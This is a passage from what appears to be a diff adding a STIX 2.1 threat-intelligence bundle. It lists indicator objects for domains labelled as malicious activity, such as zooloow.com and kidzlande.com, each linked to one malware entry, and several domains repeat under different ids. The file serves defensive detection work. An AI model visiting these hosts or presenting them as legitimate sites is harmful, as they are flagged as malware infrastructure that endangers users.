"malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--968ae741-b4b0-4b8e-9744-66e1b691ed23", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='ctbgameson.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--dd18cb96-ed91-444c-b0f2-75f6d7fc09a2", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--968ae741-b4b0-4b8e-9744-66e1b691ed23", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--65b6a617-f5d1-44d7-99ed-f368dac00a24", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='adeptary.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--b7d45cd2-8f84-40d0-89bf-c4a37fb2a77d", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--65b6a617-f5d1-44d7-99ed-f368dac00a24", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b7c15169-c179-4763-afc3-d9adecb8c88b", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='hinterfy.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--31070410-2fa7-4817-90d9-4c15ace70def", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b7c15169-c179-4763-afc3-d9adecb8c88b", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b6a35412-7562-4bb3-b2da-a260fa704f49", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='biznomex.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--52a505ba-3efa-4380-a76f-a124aec4bb6b", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b6a35412-7562-4bb3-b2da-a260fa704f49", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--bf852729-4424-4a95-b2d2-6e6745aa316e", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='careerhub4u.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--2cecf8a9-3736-4b82-b91f-bb65749a9ad5", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--bf852729-4424-4a95-b2d2-6e6745aa316e", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--bd2b90b9-3d2c-4221-8c48-4245a610de61", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='furiamoc.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--8541eea9-a04b-4961-a77b-9f1fc492b9b7", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--bd2b90b9-3d2c-4221-8c48-4245a610de61", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--f82fbe2c-6f1c-452c-9dd1-92270ec3a419", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='motorgamings.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--ae72b9c7-07a9-4aa8-9e58-29339b25fe41", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--f82fbe2c-6f1c-452c-9dd1-92270ec3a419", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--bb4fb218-3ab3-4514-a3f9-0e8de224f7d4", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='aniarchit.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--6af0ea4a-249e-4f56-a26c-4e1e1cebb25a", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--bb4fb218-3ab3-4514-a3f9-0e8de224f7d4", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b9ed1e49-aad0-4124-b4c9-1c9d2fe9b5c9", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='skyphotogreen.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--4393a549-e90c-40c8-ac2a-08c716115a92", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b9ed1e49-aad0-4124-b4c9-1c9d2fe9b5c9", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--10337b1a-4700-4b68-8b9b-476a02ee9da0", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='datacentertime.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--ca3be38c-ece8-494e-b76e-cbea0069d7c2", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--10337b1a-4700-4b68-8b9b-476a02ee9da0", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--9c5f9a2d-a897-404e-a40c-a4872e92962f", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='stylelifees.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--71462738-3857-419a-9d9c-4f4fbd2e13ef", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--9c5f9a2d-a897-404e-a40c-a4872e92962f", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--702fccb6-c7b8-48f6-815b-35e7f4de0e58", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='kidzlande.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--bf68de54-976d-498b-b50a-5480275c6f83", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--702fccb6-c7b8-48f6-815b-35e7f4de0e58", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--16c39893-90a5-49a6-ad83-6da0ce5dec13", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='homelosite.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--77f7a5c6-cac9-4727-911c-4e8a3de7bfc6", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--16c39893-90a5-49a6-ad83-6da0ce5dec13", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--190cd5a2-bd29-44d3-b379-a7b033d76522", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='zooloow.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--f8a676de-dfcf-4ba0-ad23-9f827682882a", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--190cd5a2-bd29-44d3-b379-a7b033d76522", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--11492c12-116e-486e-be6b-83c5fdb687d1", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='studiesutshifts.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--e4ab2c41-10f8-469e-9e3c-a8d4977cbb27", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--11492c12-116e-486e-be6b-83c5fdb687d1", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--49130ac2-f8df-4295-b55c-738bd59ff8f9", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='codingstudies.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--ab18aaa9-ad26-4589-9158-816ad3c7e263", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--49130ac2-f8df-4295-b55c-738bd59ff8f9", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--bc3d03a8-3f75-460f-9f12-10bfc7fb85f3", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='londonistory.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--30f4bacd-8a91-4e5c-83d3-0e89d77c5f1b", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--bc3d03a8-3f75-460f-9f12-10bfc7fb85f3", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--76f92679-81a1-4d70-84b5-ab0809f21887", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='bestteamlife.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--f2c51708-aef9-49eb-a995-483721586e71", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--76f92679-81a1-4d70-84b5-ab0809f21887", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--ba94dd1e-4526-4487-8f58-96f389bfa6cf", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='newsandlocalupdates.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--87966383-b666-4b17-a512-fd44f307a252", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--ba94dd1e-4526-4487-8f58-96f389bfa6cf", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--7e024e3e-c449-4e6d-9999-1b085d1e09dd", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='youristores.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--4e82276e-61c4-496f-af91-95403e4e2b93", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--7e024e3e-c449-4e6d-9999-1b085d1e09dd", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b7355dc1-df80-47d3-834b-4d1afcb73f02", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='zooloow.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--11d73c05-1fb3-4729-b10e-b7b7b657ffcd", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b7355dc1-df80-47d3-834b-4d1afcb73f02", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--8f7cd6cd-865c-4dde-9ad7-47590e563eae", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='kidzlande.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--a380c494-093a-4615-a8f8-cb0d6de49164", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--8f7cd6cd-865c-4dde-9ad7-47590e563eae", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b977bfd4-55d4-474e-8737-dc84cf820537", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='homelosite.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--9eaa4b36-22c2-4f8d-9e7c-1e12c1006f74", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b977bfd4-55d4-474e-8737-dc84cf820537", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--6f07ad6a-1b26-4e81-b58e-462fe070b127", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='studiesutshifts.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--2d8e7274-eaa7-4692-9485-86c9c7136728", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--6f07ad6a-1b26-4e81-b58e-462fe070b127", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--f6a743e9-5008-474f-8542-3df820b2329c", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='datacentertime.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--0fe08115-24cb-44d5-bee3-4e098b5d1f80", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--f6a743e9-5008-474f-8542-3df820b2329c", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--336c8ef3-f0c9-468f-9e25-81c0330e7f8b", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='homelosite.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--d299b729-0017-46ac-9bbd-3c597ddf518f", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--336c8ef3-f0c9-468f-9e25-81c0330e7f8b", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--7fd161ed-42ce-4bd0-b6c6-56b8397c3a38", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='zooloow.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3d4f33c3-e72b-4072-8b54-a3863c154549", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--7fd161ed-42ce-4bd0-b6c6-56b8397c3a38", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--7ad91cfb-eb13-4924-abb2-0ee1e579f47c", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='kidzlande.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--32b08da9-7352-4c56-ac7e-c00415b6d398", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--7ad91cfb-eb13-4924-abb2-0ee1e579f47c", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--74cb0bb8-91ab-4c27-aa1d-ad1d541f844f", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='studiesutshifts.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--cf28797d-0166-42da-b3fe-ce82d99c0166", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--74cb0bb8-91ab-4c27-aa1d-ad1d541f844f", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--15b91ffe-1fae-41a7-9687-3083db6b4875", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='stylelifees.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--15798863-a79b-49c0-835d-025ae80e8def", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--15b91ffe-1fae-41a7-9687-3083db6b4875", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--271a37a6-824c-41c9-819a-0cb0c9b9c8f5", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='skyphotogreen.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--e0ca5811-4361-493a-8112-13777121af0c", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--271a37a6-824c-41c9-819a-0cb0c9b9c8f5", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--f07ffff0-2fb9-477f-8f2b-df76a5f0635d", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='gardenearthis.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--2a5e41c4-ac72-43e3-ad22-d6625245f0fc", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--f07ffff0-2fb9-477f-8f2b-df76a5f0635d", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--1d9c25a0-58d7-4af1-9f0a-9ad6b1512831", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='fullstorelife.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3a974edf-95fb-4348-90a8-4bc72c9cf7b0", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--1d9c25a0-58d7-4af1-9f0a-9ad6b1512831", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--88299e64-a094-4429-a19e-859c52713b20", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='incollegely.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--dd49de45-c4da-493b-826d-81d2cf5fe7f4", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--88299e64-a094-4429-a19e-859c52713b20", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--83e2a4b8-65a5-4a24-b930-ee6a766f312e", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='shoplifys.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--19e0dff6-3457-49ed-b7e9-9cc9fdb1dacc", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--83e2a4b8-65a5-4a24-b930-ee6a766f312e", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : 